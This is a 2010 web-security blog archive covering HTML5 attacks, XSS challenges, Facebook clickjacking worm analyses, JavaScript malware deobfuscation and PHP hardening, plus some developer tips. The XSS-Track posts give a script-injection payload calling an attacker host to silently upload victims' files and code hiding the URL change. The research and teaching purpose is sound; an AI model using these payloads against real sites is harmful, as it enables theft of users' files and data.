Tuesday, December 28, 2010

"Hacking HTML5" training

If you'd like to know a little more about HTML5 & security, in January I will be giving a one-day training with Niebezpiecznik.pl entitled "Hacking HTML5".

Topics covered:
  • New XSS vectors in HTML5
  • Cross Origin Resource Sharing
  • Cross Document Messaging
  • XMLHttpRequest Level 2
  • Offline cache & other client-side storages
  • Web SQL
  • Web sockets
  • Clickjacking with HTML5
  • Geolocation
... and others. Several vulnerabilities and attacks will be taught together with instructions on how to implement above features securely. Many existing HTML5-related tools (e.g. by Lavakumark Kuppan of andlabs.org or some of mine) will be presented. Special attention will be put to HTML5 features that may break existing legacy HTML4/XHTML applications.

We will be attacking and defending a prepared social networking application.

The training is targetted to:
  • webdevelopers
  • pentesters
  • and all other hackers
If you're interested and able to come to Cracow this January, read more about the program & register. Contact me and maybe we can arrange some discounts for the training ;)

Thursday, December 16, 2010

Squid-imposter: Phishing websites forever with HTML5 offline cache

Recently I've been doing some HTML5 hacking and I encountered Imposter by Lavakumar Kuppan. It's a framework to perform browser phishing attacks - a tool that integrates a DNS server, a web server and a configuration utility running on Windows machine. Once a victim connects to Imposter (e.g. through a rogue WiFi access point) it tries to e.g. steal his cookies, inject payloads into chosen websites etc. There is also a module that uses HTML5 offline cache to store the payload permanently in all supporting browsers. It's a pretty clever framework, but it requires Windows.

I've decided to take away the HTML5 offline cache storage functionality and port it to Linux. The result is presented here as Squid-imposter. Now you can easily spoof websites that will be stored in victim's browser cache forever.

Thursday, December 2, 2010

XSS-Track now steals your uploaded files with HTML5 power!

HTML5, broadly speaking (actually it's XMLHttpRequest Level 2, not being part of HTML5 spec, but who cares?) has yet another neat feature: it allows you to send files through AJAX requests. Of course, cross domain communication is also possible. Which is generally a good thing... unless you have an XSS on your site that can now capture files you intend to upload and send them also to a third-party server.

Which is exactly what I have done in newest XSS-Track. Now you can append files=1 parameter to script URL (e.g. http://evil.example.com/track.js?files=1 ) and it will monitor the site for any <input type="file" /> elements. When you change() them (e.g. by choosing a file from your hard-drive), it will quietly start uploading the chosen file meta-data (name, size, MIME type) and file contents to log.php.

As the user will be doing twice as much uploads (one for legitimate site, one for us), XSS-Track does not wait for the form to be actually submitted, but it starts quietly uploading as soon as the field changes.

Support

This works also for <input type="file" multiple />. Currently supporting browsers that I'm aware of are:
  • Chrome,
  • FF 3.6 (meta-data only)
  • FF 4.0
  • ... and many more in the future as HTML5 is coming :)
Of course, if a browser doesn't support AJAX file upload, it will stay quiet. The log.php script will store the files in captured_files subdirectory.

Demo

Go on, try it now!

Vulnerable application:
http://victim.kotowicz.net/xss-track/vuln/?page=search

Payload (paste into textarea):
</textarea><script src="//attacker.kotowicz.net/xss-track/track.js?files=1">
</script>

Monitoring (you will only see your own IP actions):
http://attacker.kotowicz.net/xss-track/show.php

Clearing logs:
http://attacker.kotowicz.net/xss-track/show.php?clear=1

Source code:
https://github.com/koto/blog-kotowicz-net-examples/tree/master/track-xss/

Monday, November 22, 2010

XSS track got ninja stealth skills thanks to HTML5

XSS-Track, a point of concept project on how to track users through XSS vulnerability today got even better: now it can change URL in browser address bar as you navigate through the site, making it even more transparent for the victim.

It is possible thanks to a HTML5 feature - window.history.pushState(). It was created for AJAX websites so that they could easily change window location bar and manipulate history. Read more about the it on WHATWG site.

It's a great and convenient feature for developers - for example, AJAX apps can now easily support back & forward buttons without resorting to URI fragment identifier (#) hacks. But it can also be used for malicious purposes. Basically, in HTML5 you can no longer trust the location bar. For security reasons, specs say you can only change a path (i.e. not hostname, port etc.) and of course it is subject to same-origin restrictions but that is enough for XSS-Track. So now we have these convenient functions in XSS-track source code:

var getPath = function(url) {
  return url.match(/(\/.*)/)[1];
};

var changeAddressBar = function(url) {
  try {
    // html5 goodness - should work in Safari, Chrome, FF 4
    window.history.pushState({}, "", getPath(url));
  } catch(e) {}
};

and navigating a link within vulnerable domain will update the address bar path accordingly, making XSS-track practically invisible (unless you click an external link).

Disclaimer:
window.history.pushState() works in Chrome 5, Safari 5 and Firefox 4 and more browsers will come in future. When it's not available, XSS-Track will just leave the URL of a vulnerable page, so we're forward compatible. Try and hack the demo site to see the effects in one of those browsers to see it in action. HTML5 FTW!

Saturday, November 6, 2010

XSS-Track: How to quietly track a whole website through single XSS

XSS is #1 threat in web application security. We all know it's pretty common, from time to time we encounter a website where a single input field is vulnerable. Happily we send out alert(document.cookie) only to find out that session cookie is httpOnly (it's a good sign!). On the other side we know that XSS gives us, white hats, an almost unlimited potential on how to alter the vulnerable page. We can:
  • deface it,
  • steal user's form values
  • redirect to form a phishing attack
  • look at cookies
  • try to send malware through a drive-by download attack
  • and many more...
However, what to do if we found a vulnerability on one page, and all the interesting things are on the other page on the same domain? Say, the vulnerability is on http://vulnerable.example.com/search and we'd really like to steal user's credentials from http://vulnerable.example.com/login-form? Of course, with JS it's possible, but usually it's a difficult manual process to construct such payload. Today I'll present a way that makes it dead easy to:
  • track user's actions on a vulnerable website (clicks, form submits),
  • track outside links,
  • monitor pages content and report any interesting HTML elements (e.g. the secret credentials)
All of this is possible with a single injected script - think XSS-injected Google Analytics! With just one XSS vulnerability on any page an attacker gets information about all browsing actions of unsuspecting user. Demo inside!

Monday, October 25, 2010

XSS hackme challenge solution (part 2)

After revealing the first part of the solution for the XSS hackme challenge we'll discuss the second, last part. This time we'll talk about a IE-only vulnerability that allowed you to inject and run arbitrary Javascript code (XSS), but to properly exploit it we'll need:
  • a local web server (we'll need to host some pages)
  • Internet Explorer browser (6,7,8 will do)
SPOILERS ahead!

Dont-Text.tk - First Facebook scam with clickjacking disclaimer

Just a quick note, because it's just too funny. The guys responsible for the last Facebook Dont-Text scam launched yet another scam site - dont-text.tk. But this time they wanted to obey the law, so they included this disclaimer:
This website is not created or affiliated with Facebook in anyway. Trademarks, service marks, logos, (including, without limitation, the individual names of products and retailers) are the property of their respective owners. By clicking anywhere on this page, you acknowledge and you are giving full consent to use the 'like' feature of Facebook to 'like' this page and one other relevant page to promote the presence of this page on Facebook.
If you do not agree with the above terms, please exit this page immediately.

This must be the first clickjacking disclaimer ever :) By the way - the site is active right now - http://whos.amung.us/stats/n8r959nxkqe0/ stats page shows the propagation of the scam.

For those of you who are here for the first time: DON'T CLICK ANYWHERE on dont-text.tk page. It's a scam. Read the full scam analysis for more information about it or to find out how to remove it if you've already clicked it.

Monday, October 18, 2010

Dont-Text.info / FightingGuy.info facebook worm - full analysis

Today another Facebook worm utilising clickjacking attack is spreading - as for now it has infected around 7000 profiles (yes, we do have the stats :). It's spreading, as usual, as a link on your friends' Facebook pages with the text I will never text Again After seeing this!!:

I will never text Again After seeing this!!

There are many variants available! - e.g. This American GUY must be Stoned to Death for doing this to a GIRL (NO SURVEYS)


Update: There are, as I suspected, additional domains that host the same worm - dangerous texts / domains are also (do a reverse IP lookup to see additional domains):
  • happy-mc-meals.info - OMG... Look What This 6 YEAR OLD found in Her HAPPY MEAL from McDonalds! (NO SURVEYS)
  • craziestguy.info - This American GUY must be Stoned to Death for doing this to a GIRL (NO SURVEYS)
  • stupid-dress.info - Girl Gets Kicked Out Of School For DRESSING LIKE THIS! OMG!
  • girls-secrets.us - 21 Things Women Can Do That Guys Cant!
  • nevertexting.info
  • never-text.info
  • crazyamerican.info
  • usabadguy.info
  • guy-girl.info
  • bad-meals.info
  • usa-guy.info
  • guy-fight.info
  • usa-fight.info
Update 2: The scam continues. This time the scammer uses dont-text.tk domain with a really interesting disclaimer (see full text).

See below for analysis of what the worm actually does and to do some hacking with it. As a bonus, you will get a live page to analyze worm spreading.

I published the source code files for the dont-text.info worm, so feel free to consult them if you're interested in all the details. I will only discuss the actions of the worm from the user's and technical perspective here.

Friday, October 15, 2010

XSS hackme challenge solution (part 1)

Time to reveal the first solution for the XSS hackme. To recap - there was a webpage with a simple form where you could enter comments then displayed back to you. The challenge was to inject and run an arbitrary Javascript code. The hard part was that everything you entered was properly escaped, so for example:

<script>alert(/xss/)</script>

became perfectly safe

&lt;script&gt;alert(/xss/)&lt;/script&gt;

which was not interpreted as Javascript by the browser.

But still, the code had two vulnerabilities - one allowed for an XSS in Firefox browsers, the other - in Internet Explorer (6,7,8). Today we'll talk about the Firefox one (SPOILERS AHEAD!)

Monday, October 11, 2010

Test your skills with this XSS hackme (rev. 2)

XSS is a really nasty beast. It's been around since the 90s and we're still discovering new attack vectors, protection mechanisms, evasion techniques. It's not enough to simply "escape HTML output" (e.g. via htmlspecialchars() ) to get rid of it - there are always some tiny details that, when omitted, can cause script injection on your site.

Today I did some research on a rather less known XSS attack vector and I would like to present a small 'hack me' application - have fun (and read on for details)!

Tuesday, October 5, 2010

Serious security flaws in Facebook revealed today

Today some XSS & CSRF vulnerabilites in Facebook discovered by John Jean have been reported. These are already patched, so it's just educational material, but it's extremely interesting nonetheless. This disclosure touches various subjects, so I'd like to comment on these. I attach demonstrational videos, but I recommend reading the whole article - it's worth it.

Sunday, September 26, 2010

BBCode won't protect you from XSS

Cross site scripting (XSS or HTML injection) is a vulnerability class that allows an attacker to enter malicious HTML code into your document. Usually that's a Javascript code for e.g. stealing the cookies or self spreading worm used for social networking sites. All the big sites (Facebook, Twitter, Myspace, Wikipedia to name the few) have had an XSS hole in the past. What that can teach us is that XSS protection is usually done wrong. Developers invent yet-another-perfect XSS filters, WAFs update their signatures, even the browsers feature XSS protection nowadays. And still, most of them fail.

One of the wrong ways to protect from XSS is to use BBCode. Today I encountered yet another blog post (update: post deleted by author, see comment #1) claiming that author used a BBCode implementation so that "The code is encoded and perfectly safe and resilient to possible XSS attacks". I just just had to put that to a test. Read on to find out how "perfect" was the code and what is wrong with using BBCode for XSS protection.

Tuesday, September 21, 2010

"The Hottest girls on Facebook" everonia.com malware analysis

Another worm spreading with clickjacking technique is now active, targetting Facebook users. If your FB friends display something similar to this:

The hottest girls on facebook on everonia.com

don't follow the link. If you're curious, what is happening & how the attack works, read on.

Monday, September 20, 2010

The story of Android, cryptography and a crippled 3DES

Asymmetric and symmetric encryption, different algorithms (AES/DES), block/stream ciphers, operation modes  - all of these terms are difficult enough on their own, put aside their specific implementation in Your Programming Environment of Choice. You usually need strong math skills to get through all the tiny details that matter in cryptography. To make things worse, cryptanalysis attacks are constantly improving, so you also need to stay current.

Thankfully, you don't need all that much to simply use it. After all, you're not inventing a new home-brew encryption algorithm (if you do - stop immediately!), so all you need to do is RTFM.

But that enough is difficult, because the web is filled with code examples that are simply wrong. It's always a good idea to do some code review for a cryptography related parts of your project. As an example, we'll look into Android Remote Notifier project - it had a few interesting vulnerabilities which significantly weakened its cipher strength. Author took my comments into consideration and fixed the issues, so consider this a "responsible disclosure" ;).

Wednesday, September 8, 2010

Creating, obfuscating and analyzing malware JavaScript

I've translated my talk on Analyzing and Obfuscating Javascript-based malware to English:

Malware attacks on unaware Internet users’ browsers are becoming more and more common. New techniques for bypassing filters used by security vendors emerge. In turn, the filters are getting better, new analyzing tools are developed - the war continues. At the presentation you will learn how crackers are trying to hamper the work of security engineers, and how reversers are overcoming those problems. Emphasis will be placed on the weaknesses of automated tools - we’ll try to avoid detection by jsunpack and Capture-HPC, we’ll also trick Dean Edwards’ Unpacker.
The materials for the demos are on github. For Polish viewers - see the polish version of the talk.

The talk mentions jsunpack vulnerability where malware could detect that functions have been overloaded - I've done some research on how jsunpack could fix this by overriding toString better.

Monday, August 30, 2010

MakeMeLaughNow - analysis of new generation facebook worm

A new facebook worm malware application 'makemelaughnow' is out in the wild.
It escapes FB sandbox mechanisms and activates BEFORE displaying the credentials form -  only by visiting application home page you send messages to your friends and update your status.
As the news on niebezpiecznik.pl say, it uses Facebook mobile site (touch.facebook.com) to propagate. I did a quick analysis - Let's take a look on what's exactly going on in the app code.

Saturday, August 7, 2010

Hardening PHP: How to securely include remote code (part 3)

In this last post of the series we learn how to use Phar archives and OpenSSL together to build a secure remote code deployment framework. I present PharUtil - the library adding convenience and security to Phar functionality.

Thursday, July 29, 2010

Hardening PHP: How to securely include remote code (part 2)

In second post of the series I describe methods of checking the integrity of remote code - from checksums to (simple) Public Key Infrastructure. To transfer the code I introduce the popular Phar archives.

Hardening PHP: How to securely include remote code (part 1)

First post of the series discussing various methods of including remote PHP code in your application - from security standpoint. In this post we discuss the history of remote code execution vulnerabilities in PHP apps and ways to prevent them. We finish off by presenting an unsecure method of including a remote code and describe what is the problem with that method.

Wednesday, June 16, 2010

Ultimate toString() override

As shown in my last talk on malware analysis, automatic malware detectors could be easily beaten by detecting their emulation layer. For example, malware could always use Function.toString() method to check if any function has been emulated by the sandbox. Today I raise the bar a little - we'll switch the toString() method in a way that is significantly harder to detect by malware authors.

Friday, June 11, 2010

Malicious Javascript talk - materials

I've published the talk from yesterday's OWASP meeting:

Update: English version




A/V recording of the talk - varlog.pl

Also - all the code from demonstrations is now published on GitHub, so you could take a look for yourselves (there even is an additional attack I forgot while giving the talk). Thank you for all the kind words - I really appreciate it. Personally I found Pawel's talk much more interesting and I kept taking notes as crazy :) Congratulations to you, Pawel! I'd like to hear your critical feedback on the talk - what one thing could be changed to make it better, were the examples ok, or maybe there was some confusion here and there, which part was boring etc. I'm still learning, although I must say that I really liked the subject presented.

Saturday, May 29, 2010

Incoming lectures on malware and on SQL injection

I will be giving two talks next month:

Save your data from SQL injection
8.06.2010 - Krakspot Tech meeting
This is a heavily modified version of my previous talk given at OWASP meeting, however this one is less code-oriented and the emphasis is given on understanding the vulnerability. Plus - it's newer, and newer is better ;)
Time: 8.06.2010, 18:00
Place: Swing, Kraków, Bożego Ciała 9
more info
Creating, obfuscating and analysis of JavaScript-based malware
10.06.2010 - OWASP Polish Chapter meeting
Malware attacks on unaware Internet users' browsers are becoming more and more common. New techniques for bypassing filters used by security vendors emerge in time. In turn, the filters are getting better, new analyzing tools are developed - the war continues. At the presentation you will learn how crackers are trying to hamper the work of security engineers, and how reversers are overcoming those problems. Emphasis will be placed on the weaknesses of automated tools - we'll try to avoid detection by jsunpack and Capture-HPC, we'll also trick Dean Edwards' Unpacker.
This talk, on the other hand is code oriented as we'll be using some JavaScript trickery, however everything will be explained so you don't need to be a JavaScript ninja to understand it.
Time: 10.06.2010, 18:00
Place: Wydział Fizyki i Informatyki Stosowanej AGH ul. Reymonta 19, budynek D-10 Sala: A (aula)
more info: [1] [2]

All materials will be published after the meetings, I believe there might also be some a/v streams recorded by the hosts, but I'm not sure. Of course - everyone's invited, I'll update the post with the exact place&time in a few days.

Thursday, May 13, 2010

Deobfuscating PHP scripts with evalhook

Just a quick note - Similar to my previous approach in JavaScript Stefan Esser from Month of PHP Security successfully tried to deobfuscate a PHP script today.

He developed a PHP extension called evalhook that, well, hooks into eval()calls in PHP, displays a code to be executed and asks for a confirmation to run it. That way all user space PHP obfuscators (usually called encoders) are pointless - so please don't use them to protect your script from being seen.

Funny thing is that Stefan took the same way as me to deobfuscate a code written in a dynamic language - just hook into eval() and you're done. It's THAT simple.

Go ahead and read more on decoding a user space PHP script.

Friday, May 7, 2010

Grep Subversion log messages with svn-grep

Back in the days when I used branches sparingly, I used the Subversion log messages to track features I was working on. When working simultaneously on two distinct features (e.g. SITE_REDESIGN and SWITCH_LANGUAGE), I tried to commit the changes separately for each feature, so my log messages looked similar to this:
r1000
SITE_REDESIGN
 - fixed CSS code for MSIE
 - redesign product pages

r1001
SWITCH_LANGUAGE
 - added language switcher to header
That way when looking at the log history, I immediately knew which commit was related to which feature. Today I needed to port some my changes to a different repository - so I had to check all the revisions related to e.g. SITE_REDESIGN feature and review them. It's an easy task in TortoiseSVN, however I'm on Linux now (and extraordinary RabbitVCS does not yet have the feature of searching in log messages). So I wrote a small tool that would do the task for me - and here I present you with

svn-grep

With this tool, you could easily search all your commit history for a given string and save accompanying log messages and diff files in a specified directory for review. You could use it for tracking poor-man's branches as I am, find a bugfix for a given bug etc.

Example

$ cd my-project
$ svn-grep SWITCH_LANGUAGE
This will fetch all logs & diff files for all revisions having SWITCH_LANGUAGE in log message and put it into my-project/report-SWITCH_LANGUAGE. So in one central place you have all the related files and you could, as I am right now, manually review and port the feature to a similar project.

Download and info

svn-grep is hosted at GitHub alongside with my other tools for Subversion (currently the script exporting a working copy to a zip). It's MIT-licensed, so you can freely download & use it. You're also welcome to fork the project and introduce some new features for it, right now it's just a newborn baby :)

See the project page for download and more info.

But it still looks like I'm moving slowly into git...

Friday, April 30, 2010

Cloning jQuery UI datepicker

In case you were having problems with cloning fields with jQuery UI datepicker attached to them - solutions mentioned in the interwebs are similar to this one:
$('.cloned-input').removeClass('hasDatepicker').datepicker(); 
However, that did not work for me. If you happen to have a set of similar symptoms:
  • new datepicker is not instantiated at all
  • JS errors occur while instantiating new datepicker
  • even if datepicker is cloned, it refers to the old field
the issue is that there are remaining (cloned) events (if you're using .clone(true) like me) on the field AND there is a still attached cloned datepicker object.

Solution

Either imitate datepicker('destroy') manually:
$input = $('.cloned-input'); 
// remove still present related DOM objects
$input.siblings('.ui-datepicker-trigger,.ui-datepicker-apply').remove();
// remove datepicker object and detach events 
$input
  .removeClass('hasDatepicker')
  .removeData('datepicker')
  .unbind()
  .datepicker();
or implement a different procedure:
  1. before cloning destroy the datepicker on the base input
  2. clone(true)
  3. recreate the datepicker on base input
  4. use unbind() and recreate datepicker on cloned input

Friday, April 16, 2010

When overloading eval() fails

Today I encountered a small issue when decoding yet another 'crackme' challenge from Paweł Goleń. This time it turned out to be just a little bit more difficult, as Paweł:
  • used some onerror handlers to run the code
  • tried (unsuccessfully) to beat my function overloading
  • used multi-level obfuscation
But obviously, this could only slow down any determined programmer. So there I was, happily decrypting the code bit by bit, restarting Firefox from time to time (heavy debugging session in Firebug always ends up like this for me ;) ) when suddenly the code stopped working.

And all I did was to replace eval('code') with code. To be more specific, that is the actual code:
<img onerror="eval('code;') // ok" src="http://i.dont.exist" />
<img onerror="code; //gives errors" src="http://i.dont.exist" />

Such operation usually has no side effects - after all, eval is meant to immediately evaluate the passed code. But my eval was overloaded (check my previous post to see how I achieved this) and this caused problems. What's even worse - it turned out overloaded eval will not always work as expected and you cannot avoid it!

Eval() is special

The 'original' eval turned out to be a very special function (just like arguments being a very special array)  - it has its own execution context and you cannot emulate it with any other function. See the below example:

<html>
<head>
<script type="text/javascript">
var y = 'Klaatu barada nikto';
var eval2 = eval;
console.log('in global: ',y,this);
</script>
<body>
<img src="about:blank" onerror="console.log('in event handler:',y,this)">
<img src="about:blank" onerror="eval(&quot;console.log('in eval:',y,this)&quot;)">
<img src="about:blank" onerror="eval2(&quot;console.log('in eval2:',y,this)&quot;)">
</body>
</html>

Here we define a global variable y and we try to read the value of y from
  1. global context (<script> element)
  2. an event handler
  3. eval() function inside an event handler
  4. eval2() which is just a reference to 'original' eval (let's call it dummy overload ;))
What is important, this inside event handler points to <img> element, and images have their y property - so y should not be our 'Klaatu barada nikto', but a number. But running the above code in Firebug gives some unexpected results:


1st case works as expected (this is window, and global y is accessed), so is the 2nd (this is img, y is local), eval() does not change the scope nor variable visibility. But eval2()suddenly sees our global variable, even though it's in the context of <img>! WTF??

So there is a slight difference between original and overloaded eval() - although the context stays the same (thanks to Function.apply I used in original overloading), variable visibility is different - so one could potentially detect that eval() is overloaded.

We're doomed?

I tried to overcome this using various known techniques (wrapping in anonymous function, playing with scopes etc.) but to no avail. I cannot emulate eval without getting this strange behaviour.

Luckily, malware authors are is the same position - they usually obfuscate eval call by using some intermediate function (in other words, there is eval2 = eval equivalent somewhere in their code). But still, I'd rather have a perfect emulation... Is there any?

Wednesday, April 14, 2010

Beating JavaScript obfuscators with Firebug

Today I encountered a very pleasant 'crackme' challenge from Paweł Goleń. The purpose is to find out what is the purpose of demo page set up by Paweł.

Visiting this page with e.g. Firebug enabled (or with any HTTP proxy) quickly shows that a POST request is sent upon visiting. You didn't submit any form manually so it must be JavaScript sending it. So, you just need to view the source of the page to find the JS code. And this is where the fun starts. The code looks like this:


Obfuscation

Not really readable... This code is obfuscated - modifed to make its analysis difficult. This is the technique widely used with malware software.
The encoded software usually tries to hack into the machine, so it can:
  • download even more code from a remote URL
  • send some data to a remote (attacker) server
  • exploit a browser vulnerability to execute a code on the machine
  • scan the internal network
  • hack into your router and convert it to a spam server
Obfuscating code sometimes prevents the software from being detected by antivirus/malware scans, but it is mainly used to make it harder to determine what the script actually does (and e.g. prepare antivirus signature for it).
In JavaScript obfuscation is usually based on heavy usage of unescape, String.fromCharCode and eval functions.

Luckily, JavaScript itself, with the help of Firebug, has tools that enable you to decode such obfuscated script, so it is only a matter of time to reverse engineer it.

Function overloading

JavaScript is a functional language, so - in plain words - the function itself can be written to variable, passed as an argument etc. And - as a variable - it can be reassigned. So it is possible to change the behaviour of any JavaScript function. Example:

<html><head>
</head>
<body><div id="alert"></div>
<script type="text/javascript">
window.alert = function() { 
  document.getElementById('alert').innerHTML = arguments[0] 
};
alert('hello world');
</script>
</body></html>

Here we overload widely used alert function - instead of a message box it will insert a given message to a <div id="alert"> element. Two things to note:
  • alert is in fact window.alert because JS in browsers has a global object named window
  • arguments is an array-like object containing parameters passed to the function, so in this case it's ['hello world']

Let's decode

Analysing any obfuscated script will be much easier if you overloaded the key functions: unescape, String.fromCharCode and eval. But, for the script to actually work, our overloaded functions must call the original ones:

var oldunescape = window.unescape;
window.unescape = function() {
  var u = oldunescape.apply(this,arguments); // this calls the old function
  console.log('unescape ', arguments, u);
  return u;
}

var oldCharCode = String.fromCharCode;

String.fromCharCode = function() {
  var u = oldCharCode.apply(this,arguments);
  console.log('charcode ', arguments, u);
  return u;
}

var oldeval = window.eval;
window.eval = function() {
  var args = arguments;
  console.log('eval ', arguments, u);
  var u = oldeval.apply(this,arguments);
  debugger; // here the debugger (e.g. Firebug) will kick in 
  return u;
}

With this code you may start decoding the script, consistently replacing obfuscated code in HTML with decoded one coming from Firebug console. You can also insert the debugger; line anywhere in a JS to add a breakpoint.

One thing to note - when debugging malware, be sure to make it in a safe environment (e.g. a separate virtual machine, some sort of sandbox), because otherwise there is a risk you'll become its victim.

We're finished...?

Unfortunately, that's only the first part of analyzing the software. After getting the plaintext version we need to understand what it actually does (and that's usually intentionally hidden in many functions, variables, exceptions, browser differences and strange program flow). It is hard and requires both patience and a bit of JavaScript knowledge, but it is, I think, one of the fastest and most exciting ways to learn. So, go grab your Firebugs and try for yourself - what does this page do?

Friday, March 19, 2010

Hardening PHP: SQL injection - Complete walkthrough

Below are the slides from the presentation I recently gave on SQL injection on OWASP Poland Chapter meeting. The materials teach how to use prepared statements, how to escape and write secure stored procedures. Many PHP projects are covered - PDO, Propel, Doctrine, Zend Framework and MDB2. Multiple gotchas and caveats are included. I discuss why escaping is usually the wrong choice, which practices to avoid or follow and how stored procedures sometimes offer no protection at all.

I tried to make this as complete as possible, so a PHP developer could learn how to protect his applications no matter what framework / database he uses.


English version


Polish version


You could also watch video recorded from the presentation. There are already some comments on the slides on niebezpiecznik.pl (Polish), but of course feel free to add comment here.

Wednesday, March 3, 2010

You're from Cracow and want to beat SQL injection?

Anyone interested in secure development probably knows what OWASP is. If not - it's a worldwide non-profit organization focused on web application security.

There is an upcoming OWASP Poland chapter meeting in Cracow, Poland next week. This time it is focused on secure PHP application development.

I will be giving a presentation there - it's entitled
"SQL injection: Complete walktrough (not only) for PHP developers".

We will talk a bit about the theory and demonstrate an attack. Then I'll show how to write code immune to SQL injection in various PHP frameworks, using various databases. We'll also talk about writing secure stored procedures in Oracle, MS SQL Server and MySQL. Different gothchas, bugs and tricks will be covered, so even if you think you know the subject - it will surprise you.

The meeting is totally free and no registration is required*, so if anyone wants to develop securely in PHP or deals with databases (who doesn't?), please bring your fellow developers and come. It's important - please come and let's beat the SQL injection once and for all! 

I'll share the floor with Łukasz Pilorz who will talk about creating Secure PHP framework - and, given some internal details, I can assure you there's much to expect from this talk - don't miss it!

Date: 10.03.2010 (Wednesday), 17:00
Place: Compendium Centrum Edukacyjne, ul. Tatarska 5, Kraków, I piętro

Update: Read the full announcement from OWASP mailing list.

* If you're planning to go, please drop a mail to Przemysław from the link above to prepare the room for the audience.